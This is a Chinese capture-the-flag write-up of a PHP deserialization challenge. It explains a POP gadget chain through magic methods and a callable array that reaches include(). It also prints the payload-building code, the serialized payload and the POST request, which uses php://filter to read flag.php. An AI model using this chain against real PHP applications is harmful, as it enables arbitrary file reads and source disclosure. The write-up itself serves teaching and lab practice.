题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
<?php
error_reporting(0);

class User {
public $profile;
public function __destruct() {
echo $this->profile;
}
}

class Profile {
public $name;
public $helper;
public function __toString() {
$this->helper->run($this->name);
return "guest";
}
}

class Helper {
public $callback;
public function run($data) {
$fn = $this->callback;
return $fn($data);
}
}

class Invoker {
public $target;
public function __invoke($cmd) {
return $this->target->execute($cmd);
}
}

class Executor {
public $handler;
public function execute($cmd) {
return $this->handler->process($cmd);
}
}

class Processor {
public $func;
public function process($cmd) {
$f = $this->func;
return $f($cmd);
}
}

class FileReader {
public function read($file) {
return include($file);
}
}

class DynamicCall {
public $obj;
public function __call($name, $args) {
return $this->obj->read($args[0]);
}
}

if (isset($_POST['data'])) {
$data = $_POST['data'];
unserialize($data);
echo "\nDone";
} else {
highlight_file(__FILE__);
}
?>

入口点:unserialize($_POST['data'])

魔术方法分析

魔术方法 所在类 触发条件
__destruct() User 对象被销毁时
__toString() Profile 对象被当作字符串时(echo)
__invoke() Invoker 对象被当作函数调用时
__call() DynamicCall 调用对象上不存在的方法时

POP链构造思路

Step 1: 起点 — __destruct

1
2
3
4
5
6
class User {
public $profile;
public function __destruct() {
echo $this->profile; // profile 是 Profile 对象 → 触发 __toString
}
}

unserialize() 结束后,$user 对象被销毁,触发 __destruct()。其中 echo $this->profileprofile 属性当字符串输出,如果 profile 是一个 Profile 对象,则触发它的 __toString()

Step 2: __toString → 调用 helper->run()

1
2
3
4
5
6
7
8
class Profile {
public $name;
public $helper;
public function __toString() {
$this->helper->run($this->name); // helper = Helper 对象
return "guest";
}
}

Profile::__toString() 调用 $this->helper->run($this->name),这里 helper 是一个 Helper 对象,name 是要读取的文件路径。

Step 3: Helper::run → 回调函数调用 → __invoke

1
2
3
4
5
6
7
class Helper {
public $callback;
public function run($data) {
$fn = $this->callback; // callback = Invoker 对象
return $fn($data); // 把对象当函数调用 → 触发 __invoke
}
}

Helper::run() 取出 $this->callback 赋值给 $fn,然后 $fn($data)$fn 当作函数调用。如果 $fn 是一个 Invoker 对象,则触发 Invoker::__invoke($data)

这里传入的 $data 就是文件路径字符串。

Step 4: __invoke → 调用 target->execute()

1
2
3
4
5
6
class Invoker {
public $target;
public function __invoke($cmd) {
return $this->target->execute($cmd); // target = Executor 对象
}
}

Invoker::__invoke($cmd) 调用 $this->target->execute($cmd)target 是一个 Executor 对象。

Step 5: Executor::execute → 调用 handler->process()

1
2
3
4
5
6
class Executor {
public $handler;
public function execute($cmd) {
return $this->handler->process($cmd); // handler = Processor 对象
}
}

Executor::execute($cmd) 调用 $this->handler->process($cmd)handler 是一个 Processor 对象。

Step 6: Processor::process → callable 数组 → __call

1
2
3
4
5
6
7
class Processor {
public $func;
public function process($cmd) {
$f = $this->func; // func = [DynamicCall对象, 'p']
return $f($cmd); // 触发 DynamicCall::__call('p', [$cmd])
}
}

关键点来了: $this->func 被设为 [$d, 'p'],这是一个 PHP callable 数组。$f($cmd) 等价于调用 $d->p($cmd)

由于 DynamicCall 类没有 p() 这个方法,PHP 会触发 __call('p', [$cmd])

Step 7: __call → 调用 obj->read() → 文件包含

1
2
3
4
5
6
7
8
9
10
11
12
class DynamicCall {
public $obj;
public function __call($name, $args) {
return $this->obj->read($args[0]); // obj = FileReader, $args[0] = 文件路径
}
}

class FileReader {
public function read($file) {
return include($file); // PHP伪协议读取文件
}
}

__call($name, $args) 中:

  • $name = 'p'(调用的方法名,这里不重要)
  • $args[0] = 文件路径字符串(从 Profile::$name 一路传过来的)

$this->objFileReader 对象,所以调用 FileReader::read($args[0])include($file),完成文件包含。

完整的POP链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
User::__destruct()
→ echo $this->profile
→ Profile::__toString()
→ $this->helper->run($this->name)
→ Helper::run()
→ $fn = $this->callback; $fn($data) // $fn 是 Invoker,触发 __invoke
→ Invoker::__invoke($cmd)
→ $this->target->execute($cmd) // target 是 Executor
→ Executor::execute($cmd)
→ $this->handler->process($cmd) // handler 是 Processor
→ Processor::process($cmd)
→ $f = $this->func; $f($cmd) // $f = [$d, 'p'],触发 __call
→ DynamicCall::__call('p', [$cmd])
→ $this->obj->read($args[0]) // obj 是 FileReader
→ FileReader::read($file)
→ include($file) // 文件包含!

关键技巧:PHP Callable 数组触发 __call

PHP 中,[$object, 'methodName'] 是一个合法的 callable 类型。当你执行:

1
2
3
$obj = new DynamicCall();
$callback = [$obj, 'hello'];
$callback('world');

PHP 会尝试调用 $obj->hello('world'),如果 hello() 方法不存在,就会触发:

1
2
3
4
public function __call($name, $args) {
// $name = 'hello'
// $args = ['world']
}

这个特性是这条 POP 链能够将 Processor 连接到 DynamicCall 的关键。Processor::process() 中的 $f($cmd) 可以是任何 callable,包括 [$obj, 'method'] 这种形式。

构造 Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$d = new DynamicCall();
$d->obj = new FileReader();

$process = new Processor();
$process->func = [$d, 'p']; // callable 数组,最终触发 __call

$executor = new Executor();
$executor->handler = $process;

$invoker = new Invoker();
$invoker->target = $executor;

$helper = new Helper();
$helper->callback = $invoker;

$profile = new Profile();
$profile->helper = $helper;
$profile->name = 'php://filter/convert.base64-encode/resource=flag.php';

$user = new User();
$user->profile = $profile;

echo serialize($user);

输出序列化数据:

1
2
O:4:"User":1:{s:7:"profile";O:7:"Profile":2:{s:4:"name";s:52:"php://filter/convert.base64-encode/resource=flag.php";s:6:"helper";O:6:"Helper":1:{s:8:"callback";O:7:"Invoker":1:{s:6:"target";O:8:"Executor":1:{s:7:"handler";O:9:"Processor":1:{s:4:"func";a:2:{i:0;O:11:"DynamicCall":1:{s:3:"obj";O:10:"FileReader":0:{}}i:1;s:1:"p";}}}}}}}
#最好url编码

发post请求:

1
data=O:4:"User":1:{s:7:"profile";O:7:"Profile":2:{s:4:"name";s:52:"php://filter/convert.base64-encode/resource=flag.php";s:6:"helper";O:6:"Helper":1:{s:8:"callback";O:7:"Invoker":1:{s:6:"target";O:8:"Executor":1:{s:7:"handler";O:9:"Processor":1:{s:4:"func";a:2:{i:0;O:11:"DynamicCall":1:{s:3:"obj";O:10:"FileReader":0:{}}i:1;s:1:"p";}}}}}}}

获取 Flag

返回文件文本的base64编码:

PD9waHAKZWNobyAi5L2g5Zyo5bmy5LuA5LmIIjsKJGZsYWc9ImZsYWd7dHFsdHFsdHFsfSI7Cg==

Base64 解码得到 flag.php 源码:

1
2
3
<?php
echo "你在干嘛呀";
$flag="flag{tqltqltql}";

Flag: flag{tqltqltql}

总结

这道题考察了以下知识点:

  1. 反序列化POP链 — 串联多个魔术方法构造利用链
  2. [$obj, 'method'] Callable 用法 — PHP 中数组形式的 callable 可以路由到 __call(),这是连接 ProcessorDynamicCall 的关键
  3. __call() 魔术方法 — 当调用不存在的方法时触发,接收方法名和参数数组
  4. __invoke() 魔术方法 — 当对象被当作函数调用时触发
  5. PHP伪协议php://filter/convert.base64-encode/resource= 读取 PHP 文件源码(避免 PHP 代码被执行导致看不到输出)
  6. include() 文件包含 — 利用 PHP 流包装器实现任意文件读取